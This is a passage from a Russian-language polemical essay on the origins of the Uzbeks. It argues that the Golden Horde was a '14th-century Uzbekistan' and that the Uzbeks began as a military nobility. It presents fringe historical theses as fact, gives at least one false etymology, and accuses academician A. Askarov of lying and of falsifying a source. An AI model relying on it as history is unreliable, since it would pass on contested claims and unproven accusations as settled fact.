«Если из 65 миллионов …русского населения исключить Украину, Белоруссию, незначительную часть Азербайджана, Армению, прошедших в той или иной степени период промышленного капитализма, то остается около 25 миллионов по преимуществу тюркского населения (Туркестан, большая часть Азербайджана, Дагестан, горцы, татары, башкиры, киргизы и др.), не успевших пройти капиталистическое развитие, не имеющих или почти не имеющих своего промышленного пролетариата, сохранивших в большинстве случаев скотоводческое хозяйство и патриархально-родовой быт (Киргизия, Башкирия, Северный Кавказ) или не ушедших дальше первобытных форм полупатриархального – полуфеодального быта (Азербайджан, Крым и др.), но уже вовлеченных в общее русло советского развития.

Задача партии по отношению к трудовым массам этих народов (…) состоит в том, чтобы помочь им ликвидировать пережитки патриархально-феодальных отношений…, без механического пересаживания экономических мероприятий центральной России, годных лишь для иной, более высокой, ступени хозяйственного развития» [32].

Однако, как я доказывал в своих статьях [1-10] и о чем говорилось выше, история узбекской нации начиналась не с конца XIX – начала ХХ веков, о чем в своих статьях утверждают и Н.Мингбаев и Ш.Норбоев [13-15]. А с XIV века, с независимого узбекского государства – Узбекистана XIV века, которым правил Узек-хан. Об этом свидетельствует и тот факт, что термины государство (узб. Davlat) и нация (узб. Millat), являющиеся арабизмами узбекского языка, соответсвует одному и тому же арабскому слову – دولة (даула).

Если учесть поправки академика АН Таджикской ССР А.А.Семенова, сделанные им в его книге [24], можно считать, что академики АН СССР Б.Д.Греков и А.Ю.Якубовский в книге «Золотая Орда и ее падение» [33], а сам академик Ахмадали Аскаров то же в своих книгах [19-20], хотя и называли территорию этого государства «СТРАНОЙ УЗБЕКОВ», то есть «УЗБЕКИСТАНОМ». Однако, они из-за того, что не разобрались в этом вопросе или специально, чтобы исказить и сфальцефицировать истроию происхождения узбеков, путали это государство, которого я назвал Узбекистаном XIV века, с Золотой Ордой. Великим государством Золотая Орда, названной так значительно позже, в XVI-XVII веках на основе историко-публицистического сочинения «КАЗАНСКАЯ ИСТОРИЯ» (также «История о Казанском царстве» и «Казанский летописец»), созданной в 1564-1566 гг. и рассказывающей о завоевании Казани Иваном Грозным в 1552 году.

Именно из-за таких обстоятельств, то есть из-за не ясности определений понятия «нация» и «народность» я, в своей статье [11], понятиям нация и народность давал свои собственные определения, утверждая, что:

«Тюркское слово «эл» и появившееся на этой основе понятие «элат» (народность) соответствует понятию, выражаемому узбекским арабизмом «миллат» (латынский эквивалент natio – народ, а русский ― нация). Однако мы истолковывая понятие «миллат», с близким ему понятием «политическая нация», после того когда уберем прикрепленное к этому общему понятию такое определение, как – «это плод индустриальной эпох», мы должны избавиться и от такого, приводимого в учебниках истории и призванного с советских времен крепко привязать нас к современной территории Узбекистана и поэтому ошибочного его определения, где говориться, что: ― «нация образуется в результате духовно-психологического единства людей, постоянно проживающих и развивающихся на определенной территории в результате исторического прогресса», после чего будет очень кстати и настоящим научным определением, отражающим в себе историческую истину, если мы дадим понятию НАЦИЯ следующее определение:

― Только лишь народ, имеющий: свое независимое государство, разговаривающий на общем языке, одинаковую или очень близкую друг другу культуру и обычаи; проживающий на одной территории или в распространенном на нескольких территориях, состоянии; объединенный по другим причинам и состоящий из близких друг другу родов, может стать [политической] НАЦИЕЙ, состоящей из основных граждан (или подданных) этого государства. Такая НАЦИЯ в период исторического развития может расширить свое государство и его территорию, а в результате войн и др. политических конфликтов, потеряв их часть или все государство, может даже остаться во вновь созданных на этих территориях других государствах и жить в них; или, войдя в состав других наций, могут раствориться в их составе и полностью исчезнуть, в результате происходящих в них ассимиляционных и других процессов.

Исходя из этого точки зрения, если теперь дать понятию НАРОДНОСТЬ (элат) следующее определение: НАРОДНОСТЬ ― это определенное множество населения: скрепившее близкие друг другу роды, разговаривающее на одном языке, имеющее одинаковую культуру и обычаи; проживающее на одной территории и объединенное по другим причинам и имеющее свою политическую организацию. Но пока не имеющее своего независимого государства или потерявшее его в результате различных исторических процессов, такие как войны и др. политические конфликты, ― то это, на мой взгляд, будет очень правильно и является научным определением, отражающим в себе историческую истину».

А что касается вопросов, связанных с понятиями этноса, то писал следующее:

«Когда речь идет о понятии ЭТНОС, если мы будем руководствоваться соответствующими определениями Пассионарной теории этногенеза, созданной Львом Гумелевым, то считаю, что это будет движением, соответствующим нашей цели. Поскольку, в соответствии с этой теорией, если принять УЗБЕКСКУЮ НАЦИЮ в качестве этноса, то мы к нашим общим предкам – тюркам, тоже могли бы относиться как к суперэтносу. Тогда, мы и свое отношение с этносами, отколовшись от 92-х тюркских родов, составляющих узбеков и ставших сейчас самостоятельными нациями и народностями, можем строить подобным же образом. То есть в отношении них узбекская нация на историческую, политическую и международную арену может вступить в качестве суперэтноса».

2.6. Далее академик А.Аскаров в своих вышеупомянутых работах [14, 19-20] пишет, что:

«Формирование нации, как и зарождение народа, является длительным историческим и этнокультурным процессом. Нация – наивысшая точка этнической истории, законченный, зрелый этап. Государство, достигшее до этого этапа называется именем этой нации; он в качестве суверенного государства ведет независимую внутреннюю и внешнюю политику; общенациональный язык обретает статус государственного языка».

Именно здесь, если согласиться с мнением академика А.Аскарова о том, что «Государство, достигшее до этого этапа называется именем этой нации», то подобному его утверждению соответствует не только современное узбекское государство – Республика Узбекистан (или Узбекистан, в соответствии со статей 1 Конституции этой страны), обретшая свою государственную независимость в 1991 году. Но и такие независимые узбекские государства, которых я в своих статьях, содержащих мои теории о происхождении узбеков и узбекских государств, называл Узбекистаном XIV и Узбекистаном XV веков.

2.7. Академик А.Аскаров в своих книгах [19-20] и статьях [34-35] затрагивал и арийскую проблему. Так он в итоговом заключении своей статьи «Арийская проблема: новые подходы и взгляды», опубликованной на страницах сайта ЦентрАзия 24 января 2006 года писал, что:

«… Арийцы являются социальным явлением развития кочевого этапа жизни скотоводческих племен Евразийских степей, инициативный и рассудительный слой общества, аристократический пласт только что рождаемого раннеклассового общества. Они вопреки исторической лингвистики не были носителями иранских языков, наоборот согласно сопоставительного научного анализа древнекитайских источников язык арийцев принадлежал к тюркоязычному этносу. О миграции их на юг в середине II тыс. до н.э. хорошо прослеживается на археологическом материале.

Наиболее широко распространенные ими области является территория Средней Азии, где в эпоху раннего средневековья сложилось тюрко-согдийское социально-этнокультурное пространство, в результате чего в пределах этого этнокультурного пространства сложились узбекский и таджикский народности» [34].

Я лично полностью согласен с утверждением академика А.Аскарова о происхождении ариев, что изложено в его статье [34], где он пишет, что:

«Я, в первом своем ответе Р.Масову через Интернет от 25 .01.06 г., говорил и еще раз подчеркиваю, что арий не этнос, не особый народ высочайшей культуры, не этническая исключительность, а всего лишь аристократическая прослойка общества кочевых скотоводов эпохи бронзы (середина II тыс. до н.э.). О сложении этой прослойки подробно было изложено в моей статье (А.Аскаров. Арийская проблема: новые подходы и взгяды. Сборник статей. «История Узбекистана в археологических и письменных источниках». Т.,2005 г.)». [32].

Ибо с уверенностью можно сказать, что происхождение понятия «УЗБЕК» сходно происхождению понятия «АРИЙ», процитированного из статьи академика А.Аскарова [34]. Поэтому я в своей статье «Узбеки – дворяне тюркских народов, а сарты – предприниматели Центральной Азии» [3], написав следующие слова:

«Процитированные выше и глубоко компетентные мнения таких советских историков, как Б.Д.Греков и А.Ю.Якубовский, а также то, что далее они, говоря о временах «ставленника» Узбека — хане Ак Орды Эрзене, писали о том, что в то время существовали «разные ступени в господствующем аристократическом классе кочевников» и «военной аристократии» [здесь – 33].

И, в своих статьях [3-4] я, доказав, что старший сын Чингиз-хана, которого ошибочно называют Джучи (а академик Ахмадали Аскаров в своих книгах еще хуже, не иначе, как Жўжи), на самом деле из-за того, что он родился в пути, был назван Йулчи (Йўлчи, Yo’lchi, то есть в переводе на русский язык Путником), не является родным сыном этого великого завоевателя, а является всего лишь его – Чигиз-хана, пасынком; поскольку, если его родная мать – первая и любимая жена Чингиз-хана Борте (Бурте Кучин), пренадлежить знаменитому тюркскому роду КУНГРАТ, то его отец багадур (рыцарь) Чильгир-Боко – был из тюркского рода МЕРКИТ, который впоследствии вошел в состав 92-х тюркских родов, составляющих узбеков, утверждал следующее:

«На основе соответствующих правил, учитывающих и тюркское происхождение Джучи-хана, УЗБЕКАМИ называли только лишь тех подданных Узбек-хана, которые относились к военному сословию из тюркских родов (и племен) Узбекистана XIV века (Золотой Орды). А именно — самого монарха, военной аристократии: ханов, эмиров, богодуров и беков, а также рядовых воинов, находящихся на государственной военной службе, на платной основе.

Поэтому забегая вперед можно с уверенностью сказать, что именно по этой причине и после великого Узбека-хана — ханов, эмиров, беков, багодуров и рядовых воинов Узбекистана XIV века (Золотой Орды), продолжали называть узбеками. Например, узбеком называли не только вес Улус, но и самого хана Золотой Орды Урус-хана [здесь – 36].

Так, что понятие такого военного сословия, которого при Узбек-хане и после него в Узбекистане XIV века (Золотой Орде) и других ее улусах называли узбеками, по своему содержанию практически полностью соответствует такому понятию, как, скажем — самураи у японцев или дворянство, введенное на Руси только лишь в XVII веке.

Полагаю, что именно по этой причине среди не мобилизованной на военную службу части тюркских родов и племен государства самого Узбек-хана и даже за его пределами, было не только очень почетным и престижным стать узбеком (самураем, дворянином), но и выгодным. Ибо если отдельные сотни, тысячи и десяти-тысячные (тумени) отряды вместе с территорией для кочевания отдавались во владение тому или иному беку, то и семей воинов-узбеков, вместе с ним имеющих право [в мирное время] заниматься со своим хозяйством, не оставляли в стороне. А хан Золотой Орды, как собственник всей земли в государстве, раздавал землю и скотоводов во владение бекам через эмиров, с условием, что те будут за это исправно выполнять определенные повинности. Важнейшей повинностью, конечно же, была военная служба. Поскольку каждый бек был обязан по первому требованию эмиров (которые находились в соответствующем подчинении самому хану) и в установленный им срок, выставить в пункты их сбора, поле сражения или других военных мероприятий, установленное количество воинов, за благополучной жизнью и хозяйственной деятельностью семей, которых он следил. А сам бек в своем уделе мог эксплуатировать труд земледельцев и скотоводов, представляя им, в аренду, свои земли, а скот на выпас или привлекая их непосредственно к работе в своем хозяйстве. А мелкие беки служили крупным бекам — феодалам, а те эмирам…» [3].

2.8. Никак нельзя согласить и со следующим мнением академика А.Аскарова, где он утверждает, что якобы:

«До прихода в Среднюю Азию в конце XV века 92 родоплеменных кочевых племен под общим названием узбеков, в Маверауннахре и примикающим к нему областях, как правильно утверждает А.Ю Якубовский, в XI–XII вв. был сформирован тюркский народ, который сложился на основе ассимиляции оседлых тюркоязычных и отюреченных сартов, а узбеки-кочевники, пришедшие сюда в конце XV века во главе Шайбаниханом, в составе этого народа являлся всего лишь одним из слогаемых. Приводим здесь оригинальные фразы А.Ю. Якубовскогов: «Узбеки пришли на землю Узбекистана в XV–XVI вв., однако это были узбеки – кочевники, которые в составе узбекского народа представляют лищь одно из слагаемых. Узбекский народ формировался как тюркоязычный народ на территории Узбекистана за много веков (по Якубовскому XI–XII вв. – А. А.) до появления в оседлых районах Средней Азии кочевников-узбеков, хотя и носил их имена. Таким образом, вся история тюркского населения Маверауннахра, а в древности Согда, Хорезма, Ферганы, Шаша (Ташкентская область), есть история узбекского народа» [14].

Ибо в конце XV века в Среднюю Азию пришли не кочевники, состоящие из 92-х тюркских родов, составляющих узбеков, а те узбеки, состоящие из всего лишь 24-х тюркских родов, относящихся к чистокровному аристократическому военному сословию Узбекистана XIV века, которым правил Узбек-хан. А, как известно из политэкономической науки, в ФЕОДАЛЬНОМ ОБЩЕСТВЕ И ГОСУДАРСТВЕ (каковым и, по мнению самого академика А.Аскарова, без сомнения был и Узбекистан XIV века), КОЧЕВНИКОВ НЕ БЫВАЕТ. А бывают землевладельцы разных уровней во главе самим правителем такого государства.

И как можно называть кочевниками аристократическое военное сословие Узбекистана XIV века (после его распада, создавшие Узбекистан XV века), которого, например, историки Татарстана ошибочно называя Золотой Ордой, указывают, что на территории этого государства было построено более 150 городов. А столица Узбекистана XIV века – Сарай аль-Джедид (Сарай), построенная непосредственно в период правления Узбек-хана, по словам Ибн-Арабшаха: была научным центром. Источником счастья и за короткое время там стало так много знаменитых ученых, писателей, чутких, великих и обладающих интересными качествами и способностями людей, так что, нигде в другом месте мира, даже в Египетской (Каирской) соборной Мечети – Мечети Аль-Азхар и в его кишлаках (селениях), не могло собраться столько. Сарай своим видом и многочисленным населением был одним из самых крупных городов мира.

Ибо очевидцы рассказывали такую историю: один из рабов знати Сарая убежал [от хозяина] и жил недалеко от большой дороги. Здесь он открыл себе небольшой ларек и занимался мелкой торговлей и таким образом зарабатывал себе пропитание. Этим он занимался на протяжении десяти лет и ни разу не встретился и не столкнулся с хозяином. Это было из-за того, что Сарай был очень крупным городом, с многочисленным населением. Как рассказывают о нем путешественники, историки и дервиши, Сарай был расположен на берегу одного из притоков, среди однозвучно текущих рек и соединяющих пресноводные реки и считающийся самой большой рекой, как Итил (Волга) [6].

Так, что те ошибочные понятия о «кочевом феодализме» и «племенном государстве» и, самое главное, то понятие, которое было введено академиком А.Аскаровым, как «военно-феодальное государство» [19, с. 267], появились в исторической науке советских времен и продолжают сохраняться до сих пор в традиционной исторической науке Узбекистана потому, что ее представители, апеллировавшие и апеллирующие марксистскими понятиями формационного подхода к истории, не знали и до сих пор не знают не только категории и понятия [западной] экономической науки, но и самой марксистско-ленинской политической экономии.

В статях [4-5], в которых я отвечал на вопросы таких ученых из Таджикистана, как доктор исторических наук Хамза Камол и доктор экономических наук Мрсаид Саидов, сформулированных ими в их статьях [37-38], на основе выводов, сделанных с моей стороны раньше, в статье [3], мною были сформулированы три определения понятия УЗБЕКИ (ўзбеклар, o’zbeklar). Это было продиктовано тем обстоятельством, что в этом вопросе, несмотря на свои высокие ученые степени, не разобрались не только они, но и многие другие историки, не говоря уж о простых читателях.

Так, вот какие определения я давал понятию УЗБЕКИ (ўзбеклар, o’zbeklar) в своих вышеупомянутых статьях [3-5].

2.8.1. ОПРЕДЕЛЕНИЕ ПОНЯТИЯ УЗБЕКИ — ДВОРЯНЕ (САМУРАИ). С 1312 по 1428 годы УЗБЕКами называли военное сословие, введенное в Узбекистане XIV века (которого ошибочно называют Золотой Ордой), которым правил Узбек-хан (1312-1341). Эти узбеки, состояли из военной аристократии, таких как: ханы, эмиры, беки и богодуры (рыцари), а также из рядовых воинов. Поэтому термин «УЗБЕК» в этот период (1312-1428) полностью соответствовал таким понятиям как самураи и дворяне.

2.8.2. ОПРЕДЕЛЕНИЕ ПОНЯТИЯ УЗБЕКИ — ДВОРЯНСКИЙ ТИТУЛ. С 1312 по 1428 годы термин «УЗБЕК» использовался в качестве титула привилегированного военного сословия Узбекистана XIV века (Золотой Орды), что соответствует понятию дворянство.

Значит, когда я в своей статье «Узбеки – дворяне тюркских народов, а сарты – предприниматели Центральной Азии» [3], говорил об узбеках, именовавшихся под этим термином в период с 1312 по 1428 годы, имел в виду именно тех узбеков, которые являлись еще не этносом, а военным сословием. О военном сословии, которого называли узбеками и, что возникло в Узбекистане XIV века, которым правил Узбек-хан. И, по своему значению, полностью соответствует таким понятиям, как САМУРАИ Японии и ДВОРЯНСТВО России.

Обоснованность этого нового подхода к происхождению узбеков, подтверждается наличием аналогов такого исторического процесса в мировой практике, показанных на примере превращения военных сословий, таких как раджпуты, являющихся прямыми потомки древних арийцев из Индии и амхара из Эфиопии, которые приведены в статье С.Я.Козлова «Пути этногенеза неисповедимы. Из сословия – в этнос через язык, образ жизни, обычаи и религию» [39].

Так, что говоря об узбеках указанного выше периода и учитывая, тот факт, что дворянство в России возникло значительно позже — только в XVII веке, можно даже сказать, что ДВОРЯНСТВО – это такое же привилегированное военное сословие Узбекистана XIV века, как и УЗБЕКИ.

2.8.3. ОПРЕДЕЛЕНИЕ ПОНЯТИЯ УЗБЕКИ — ЭТНОС. В 1428 году, когда было создано первое централизованное узбекское государство, созданное 24-мя племенами УЗБЕКов, т.е. народами, мужеское население которых относило себя к привилегированному военному сословию Узбекистана XIV века (Золотой Орды), введенного в ней во время Узбек-хана, являющиеся подданными еще и этого государства, стали самостоятельным ЭТНОСом. А термин «УЗБЕК» превратился в этноним тюркских племен, объеденных под флагом государства, вошедшего в историю под названиями УЗБЕКСКОЕ ХАНСТВО и «государство кочевых узбеков».

Состав узбекского этноса, куда первоначально входило всего лишь 24 тюркских родов, со временем расширился до 92 родов (а с дополнительными ветками число таких тюркских родов сейчас достигло более 240). Поэтому начиная с 1428 по 1924 годы, под УЗБЕКами понимали этническую совокупность родов (и племен), которая обитала на территории Узбекистана XV века и состояла из этих 92 тюркских родов. А в 1924 году, при создании Узбекской ССР в составе СССР, произошло юридическое признание узбекского этноса в качестве титульной нации этой республики, которая сама была названа не только в честь этих узбеков, но и Узбекистана XIV века.

Таким образом, происхождение предков всех современных узбеков, восходит к тем узбекам, название (этноним), которых, олицетворяет имя их правителя Узбек-хана, как, например, имя Османа I Гази – основателя и правителя Османского государства, стало названием не тюрков, а турков – населения Османской империи, распавшейся в начале XX века. И такое название привилегированного военного сословия было введено в Великом Государстве, которым правил Узбек-хан. Того государства, которого еще тогда, в период с 1312 по 1341 годы и, даже позже, почти до полного распада этого государства, называли не иначе как УЗБЕКИСТАНОМ и которого, я называю Узбекистаном XIV века. Ибо история человечества под таким названием знает не одно, а три государства.

При этом если учесть, что после распада Узбекистана XIV века, именно лидеры 24 тюркских родов, имеющих дворянский титул «узбеки», создали то «военно-феодальное государство» о котором пишет академик А.Аскаров [19, с. 265-278], которого я называю Узбекистаном XV века. Государство, которого в исторической литературе ошибочно называют и «Узбекским ханством», и «государством кочевых узбеков», то не трудно прийти к выводу, что в этом государстве т.н. «кочевых узбеков», не было и не могло быть.

Более того свободные подданные первого национального узбекского государства – Узбекистана XV века, занимавшего всю территорию нынешнего Казахстана, первым правителем которого был Абул Хайр хан (1412−1468). Узбекистана XV века, народ, которого впервые признал себя узбеками по национальности, которых в исторической литературе ошибочно называют «дашти-кипчакскими кочевыми узбеками», не завоевывали Среднюю Азию или Маверауннахр и Хорезм, как об этом пишут не только таджикские представители традиционной исторической науки, но и академик А.Аскаров. А возвращались на свое отечество или на свою Родину, откуда они и их предки были мобилизованы в наемную армию независимого государства – Узбекистана XIV века, которым правил Узбек-хан. Ибо в то время именно тюркские роды составляли костяк всех наемных армий Северной Африки, арабских государств (мамлюки и гулямы.) и других стран мира. И, конечно же, Узбекистана XIV века.

Именно по таким причинам Абул Хайр хан (1412−1468) не только помогал в 1451 году тимуриду Абу Саиду разбить другого тимурида Абдуллу, чтобы он пришел к власти в Самарканде. Но и был женат на дочери султана Мавераннахра великого ученого астронома Мирзо Улугбека. Дочь Улугбека Рабия Султан-бегим стала матерью его сыновей Кучкунджи-хана и Суюнчходжа-хана, которые позже управляли Мавераннахром. А Мухаммед Шейбани хан (1451 — 1510) – узбекский хан и основатель государства Шейбанидов, которого академик Ахмадали Аскаров называет завоевателем Мавераннахра и Хорезма, был внуком Абул Хайр хана – правителя Узбекистана XV века …

Более того, в то время когда сами тимуриды были вовлечены в междоусобную войну, приведшей к распаду самой империи великого Тимура, узбекам государства Шейбани-хана ничего не оставалось кроме вступления сними в сражение и, выигрывать бои сними, чтобы вернуться на свою Родину. И, в первую очередь, в Хорезм, откуда был родом, как сам великий Узбек-хан, так и представители знаменитого рода, которому принадлежала и мать Узбек-хана – Олджай-хатун, то есть род КУНГРАТ, который входил в состав 24-х тюркских родов, составлявших первых этнических узбеков.

Если бы те научные выводы, о которых я писал выше, были бы необоснованными, то правитель Узбекистана XV века Абул Хайр хан, дед Шейбани-хана, являвшийся из другой ветви потомков Йулчи (Джучи) – пасынка Чингизхана, т.е. из потомков Шибана, не называл бы себя узбеком. А такой средневековый историк, как, например, Мирза Мухаммад Хайдар (дуглат) в своем историческом произведении как «Т’арих-и Рашиди. Дафтар I» [40], не называл бы его государство Узбекистаном. В чем можно убедиться, прочитав следующие слова Мирза Мухаммада Хайдара (дуглата), изложенные в этом его произведении [40]:

«Эмиры [племени] чорас и племени барин /45б/ ушли к сыну Исан-тайши Амасанджи-тайши — [главе] калмаков. Часть других племен — калучи, булгачи и некоторых других ушла к Aбу-л- Хайру в Узбекистан» [35].

Однако академик Ахмадали Аскаров в своей книге, написанной на узбекском языке под названием «Ўзбек халқининг этногенези ва этник тарихи» (Этногенез и этническая история узбекского народа) [19], из-за того, что внимательно не изучал историю узбекских государств XIV и XV веков, искажает и фальсифицирует историю происхождения узбеков, как ему заблагорассудиться. Он это делает даже в тех вопросах происхождения узбеков, которых, так или иначе, признают историки соседних стран.

Так, ложью в вышеуказанной книге академик Ахмадали Аскаров, является следующее его утверждение [19, с.266]:

«После того, когда Даштикипчак был завоеван войсками Чингис-хана в начале XIII века, было создано государство Золотая Орда, вошедшее в историю под названием Улус Джучи. В начале XIV века Улус Джуджи (Улус Джучи или Йулчи – А.Р.), то есть Золотая Орда, распалась на две части. С 60 годов XIV века восточную часть Даштикипчака начали называть «Страной узбеков», а ее население – «узбеками». До этого степные военные группы всадников, воспитанные выходцами из кочевавших здесь тюрко-монгольскими племенами (арлат, бахрин, буркут, дурман, ийжан, ктой, қарлуқ, можор, кипчак, кият, кунгират, курловут, мангит, найман, нукус, тангут, уйгур, маркит, қушчи, утарчи, джот, чимбай, кегес, уйшун, тубойи, тоймас, эчки, туманминг, шодбахтли, шункорли и др.) в конце XIII века появились на истрической арене под названием воинственные узбеки».

Поскольку в начале XIV века Улус Джучи не распадалась на две части. Так, как в 1299 году Тохта – хан этого Улуса в 1291-1312 годы и один из сыновей Менгу-Тимура, восстанавливал единство государства Улус Джучи. Такой же ложью является и утверждение А.Аскарова, где он говорит, что якобы с «…60 годов XIV века восточную часть Даштикипчака начали называть «Страной узбеков», а ее население – «узбеками», которые, якобы «в конце XIII века появились на истрической арене под названием воинственные узбеки»». Ибо, как об этом говорилось и выше, узбеки появились в независимом государстве Улус Джучи, когда к власти в нем пришел великий Узбек-хан.

Именно поэтому сам академик Аскаров в следующей 267 странице этой книги [19], вынужден был признать этот факт, написав следующие слова:

«Известно, что в период, когда Узбек правил Золотой Ордой в качестве ее хана (1312-1342), некоторые племена, находящиеся в его подчинении, называли узбеками. В период его правления Золотая Орда процветала. Он поднял славу Золотой Орды. В период его правления по сложившейся среди предков кочевников традиции, люд аристократов и простых скотоводов, находящихся в его подчинении называли «узбеками», а племя этих людей называли по имени их родо-племенных названий».

Однако, далее по тексту к этому своему признанию, сделал следующее замечание, где говориться, что: «Некоторые наши историки, не понимающие такие обычаи кочевников, до сих пор думают, что название узбеков распространился от имени Узбекхана». После чего добавил к этому замечанию свою ложь следующего содержания, которую он неоднократно повторяет в текстах своих книг [19-20] и статьи [14]: «А на самом дели узбек это название военно-политической группы, племен восточного Даштикипчака. Восточные историки этот термин именно с конца XIII века начали употреблять в своих произведениях» [19, с.267]. Поскольку он в новом абзаце после этих слов, из-за того, что не знает о происхождение Абул Хайр хана, поэтому назвав его внуком Джучи – пасынка Чингиз-хана, написал следующие слова:

«В 20 годы XV века, то есть в 1428 году, один из внуков Джуджихана Абулхайрхан, объединив военные группы этих чистокровных-аристократов, создал военно-федальное государство и в этой своей работе опирался на племя мангитов». Далее по тексту опять повторил свою ложь о происхождении узбеков, утверждая: «Значит, термин узбек с начала начиная с конца XIII века использовался в отношении объединения военизированных всадников восточной части Даштикипчака под названием «Белая Орда». Основу этих самостоятельных, вольных и свободных всадников составляли чистокровные военные аристократы» [здесь – 33].

Однако в новом абзаце 267 страницы своей книги [19] академик Ахмадали Аскаров хотя более или менее правильно и утверждает следующие исторические факты:

«Хамидуллох Казвиний (1281-1350) в своем произведении «Тарих-и-гузидэ», ведя речь о принадлежащих Узбек-хану землях и подчиненных ему народах, эти племена указывает как «узбекиян» (узбеки), а их земли, где они кочевали, как «Мемлекет–и–узбеки» (Страной узбеков)». После этих слов, он, опять делая вышеизложенную оговорку о том, что: «Как мы говорили выше, термин «узбек», как названия объединения племен и относящихся им земель, использовался и до периода правления Узбек-хана». Подкрепляет это свое ложное утверждение, следующими, неправильно переведенными словами, из произведения Мирзо Улугбека «Тарих-и арбаъ улус», содержащимися на стр. 225 этой книги, изданной на узбекском языке под названием «Тўрт улус тарихи» (История четерех улусов) [41]: «Узбекский улус был ему передан». То есть якобы Узбекский улус существовал до прихода к власти Узбек-хана в Улусе Джучи и якобы был передан ему после того, как он сел на трон этого государства.

Доказательством обоснованности этого моего утверждения, может служить русский текст книги «Родословие тюрков» или «ШАДЖАРАТ АЛ-АТРАК». Ибо в «Рассказе о царствовании Узбек-хана, сына Тогрула, сына Келека, сына Тугана, сына Батуй-хана, сына Джучи-хана, сына Келека, сына Чингиз-хана» этой книги [42] утверждается, что:

«Да будет записано в умах обладателей знания и проницательности, что когда правление Токтай-хана достигло конца, бог всеславный и всевышний украсил вышивкой ханства прямой стан его величества Султан-Мухаммеда Узбек-хана, сына Тогрула, сына Келека, сына Тугана, сына Батуй-хана, сына Джучи-хана, сына Чингиз-хана, ПО КОТОРОМУ НАЗВАЛИ УЛУС УЗБЕКСКИЙ (выделено – Р.А.), и удостоил его чести пожалования управления».

Значит, Мирзо Улугбек не утверждал то, что пишет Ахмадали Аскаров в своей книге [19] о том, будто бы существовавший до Узбек-хана «Узбекский улус был ему передан». Поэтому, учитывая вышеизложенные многократно повторяемые ложные утверждения академика Ахмадали Аскарова о происхождении узбеков. То есть тот факт, что он специально, для того, чтобы исказить исторические факты утверждает будто бы узбеки «как народ окончательно сложился в XI–XII вв.» [14]. А также учитывая те неопровержимые факты, что академик АН Республики Узбекистан Ахмадали Аскаров с членкором этой академии Бурибаем Ахмедовым, являвшимся автором предисловия, комментариев и редактором книги Мирзо Улугбека «Тўрт улус тарихи»; книги, изданного на узбекском языке в 1994 году [42]; опубликовывали в соавторстве на страницах газеты «Ўзбекистон овози» за 4 и 20 января 1994 года статью под названием «Ўзбек халқининг келиб чиқиш тарихи» (История происхождения узбекского народа); я подозреваю их в том, что они вышеуказанные слова Мирзо Улугбека совместно сфальсифицировали для того, чтобы доказать тезис о том будто бы узбеки «как народ окончательно сложился в XI–XII вв.» [14, 19-20].

Таким образом, как я писал в своей статье «История – это отрасль экономической науки с названием клиометрика», в традиционную историческую науку был изначально заложен потенциал обмана, лжи и фальсификации истории [10].

Именно поэтому, если французский поэт Поль Валерии традиционную историческую науку не принимал полностью, считая, что она является производителем «самого опасного продукта» интеллектуальной деятельности ученых, то Вольтер признавал неизбежными спутниками этой науки искажения истины и неправды. Причем он делил всех историков на тех, кто лжет, тех, кто ошибается, и тех, кто просто ничего не знает. Для французского математика, физика и философа Рене Декарта главное следствие увлечения прошлым состояло в растущем невежестве относительно настоящего. Немецкий философ Гегель, создатель одной из величайших систем философии истории, оставался сторонником мнения о бесплодности исторического знания как знания о единичных, уникальных, неповторимых и преходящих событиях прошлого. Поэтому писал, что единственное, чему мы можем научиться у истории, – это тому, что она никого и ничему не учит.

А известный французский ученый Марк Блок, впервые сформулировавший концепцию реконструкции исторических фактов, в своей книге «Апология истории или ремесло историка» [43], писал, что:

«Давно уже догадались, что нельзя безоговорочно принимать все исторические свидетельства. Опыт, почти столь же давний, как и само человечество, научил: немало текстов содержат указания, что они написаны в другую эпоху и в другом месте, чем это было на самом деле; не все рассказы правдивы, и даже материальные свидетельства могут быть подделаны. В средние века, когда изобиловали фальшивки, сомнение часто являлось естественным защитным рефлексом. «Имея чернила, кто угодно может написать что угодно», — восклицал в XI в. лотарингский дворянчик, затеявший тяжбу с монахами, которые пустили в ход документальные свидетельства…

Из всех ядов, способных испортить свидетельство, самый вредоносный — это обман.

Он, в свою очередь, может быть двух видов. Прежде всего обман, связанный с автором и датой: фальшивка в юридическом смысле слова. Все письма, опубликованные за подписью Марии-Антуанетты, не были написаны ею; среди них есть сфабрикованные в XIX в. Тиара, проданная в Лувр в качестве скифско-греческого памятника III в. до нашей эры, названная тиарой Сайтоферна, была отчеканена в 1895 г. в Одессе. Кроме того, существует обман в самом содержании. Цезарь в своих «Комментариях», где его авторство нельзя оспаривать, сознательно многое исказил, многое опустил…

Большинство письменных документов, подписанных вымышленным именем, лживы также и по содержанию (выделено – А.Р.). «Протоколы сионских мудрецов» но только не написаны сионскими мудрецами, но и по существу крайне далеки от истины. Предположим, что мнимый диплом Карла Великого окажется на самом деле документом, сфабрикованным два-три века спустя…

Настоящий прогресс начался с того дня, когда сомнение стало, по выражению Вольнея, «испытующим»; другими словами, когда были постепенно выработаны объективные правила, позволявшие отделять ложь и правду…

… 1681- год публикации «De Re Diplomatica» — поистине великая дата в истории человеческого разума: наконец-то возникла критика архивных документов».

Именно поэтому хотя определение традиционной исторической науки, как науки о прошлом кажется очевидным, но сегодня оно единодушно отвергается. Поэтому остается только согласиться со следующим высказыванием Марка Блока: «Сама мысль, что прошлое как таковое способно быть объектом науки, абсурдна», что созвучно с утверждением У. Люси о том, что «отождествление истории с прошлым недопустимо». Прошлое охватывает слишком широкий массив явлений, событий и процессов, чтобы быть объектом изучения традиционной исторической науки.

Но рассуждения таких ученых, как, например, Марк Блок, о котором говорят, что он совершил переворот в исторической науке, сказав: «Для того чтобы что-то реально узнать о прошлом, нам прежде всего надо стремиться понять, что было в головах людей», было еще далеко недостаточно для того, чтобы превратить традиционную историческую науку, в науку в подлинном смысле этого слова. То есть, как это понимают в точных науках или естествознании, исходя из знаменитого высказывания немецкого философа Иммануиля Канта о том, что «В каждой науке заключено столько истины, сколько в ней есть математики».

